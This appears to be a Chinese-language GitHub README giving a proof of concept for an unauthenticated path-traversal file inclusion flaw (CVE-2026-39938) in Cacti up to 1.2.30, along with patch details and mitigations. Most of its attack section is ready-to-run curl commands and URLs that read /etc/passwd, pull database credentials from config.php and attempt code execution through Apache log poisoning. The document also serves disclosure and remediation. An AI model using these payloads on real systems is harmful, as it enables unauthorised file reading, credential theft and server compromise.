Polosss/By-Poloss..-..CVE-2026-39938
GitHub: Polosss/By-Poloss..-..CVE-2026-39938
该项目是 Cacti <= 1.2.30 未授权本地文件包含漏洞(CVE-2026-39938)的 PoC 与详细分析,涵盖漏洞原理、利用步骤及修复方案。
Stars: 0 | Forks: 0
# CVE-2026-39938: Cacti <= 1.2.30 - 未授权 LFI
## 执行摘要
| 字段 | 值 |
|-------|-------|
| **CVE ID** | CVE-2026-39938 |
| **CVSS Score** | 9.8 (严重) |
| **受影响产品** | Cacti |
| **受影响版本** | <= 1.2.30 |
| **已修复版本** | 1.2.31 |
| **修复提交** | 9871f0c |
## 漏洞详情
### 根本原因
该漏洞存在于 `lib/rrd.php` 中,其中 `graph_theme` 参数在未经净化的情况下被直接使用:
**存在漏洞的代码:**
```
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
```
**修复后的代码:**
```
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
```
问题所在:缺乏对 `../` 路径遍历序列的验证,允许攻击者在未经身份验证的情况下读取任意文件。
## 概念验证 (PoC) - 简易步骤
### 第 1 步:验证漏洞 - 读取 /etc/passwd
```
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
```
**结果:** `/etc/passwd` 的内容将显示在响应中。
### 第 2 步:读取数据库配置
```
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
```
**结果:** 数据库凭据(用户名、密码)将被泄露。
### 第 3 步:通过日志注入实现远程代码执行
#### 3.1 将 PHP 代码注入 Apache 日志
```
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: "
```
#### 3.2 通过包含日志文件执行代码
```
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
```
**结果:** 命令输出(例如 `uid=33(www-data)`)将被显示。
## 常见测试端点
| 端点 | 参数 | Payload 示例 |
|----------|-----------|-----------------|
| `/graph_image.php` | `graph_theme` | `../../../../../../../etc/passwd` |
| `/graph_image.php` | `graph_theme` | `../../../../include/config.php` |
| `/graph_image.php` | `graph_theme` | `../../../../../../../var/log/apache2/access.log` |
## PoC URL 示例
### 基础 LFI 测试
```
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
```
### 读取应用配置
```
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
```
### 日志注入 (Injection)
```
http://target-cacti/graph_image.php?local_graph_id=1
```
带有 Header: `User-Agent: `
### 日志注入 (执行)
```
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
```
## 修复建议
### 更新至已修复版本
```
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
```
### 验证补丁是否应用
```
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
```
### 临时缓解措施 (.htaccess)
```
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
```
## 参考
- [GitHub 安全公告](https://github.com/Cacti/cacti/security/advisories/GHSA-rm7p-qcqm-x5m6)
- [修复提交 9871f0c](https://github.com/Cacti/cacti/commit/9871f0cef9af285398d558c9b3188d5977e01a04)
- [NVD CVE-2026-39938](https://nvd.nist.gov/vuln/detail/CVE-2026-39938)
## W.P.E.F
- [W.P.E.F Telegram 频道 #1](https://t.me/wpef0)
- [W.P.E.F Telegram 频道 #2](https://t.me/wpef01)
*本报告出于安全研究目的生成*
*日期:2026年6月27日*
标签:Cacti, HTTP工具, Web安全, 未授权访问, 本地文件包含, 网络安全审计, 蓝队分析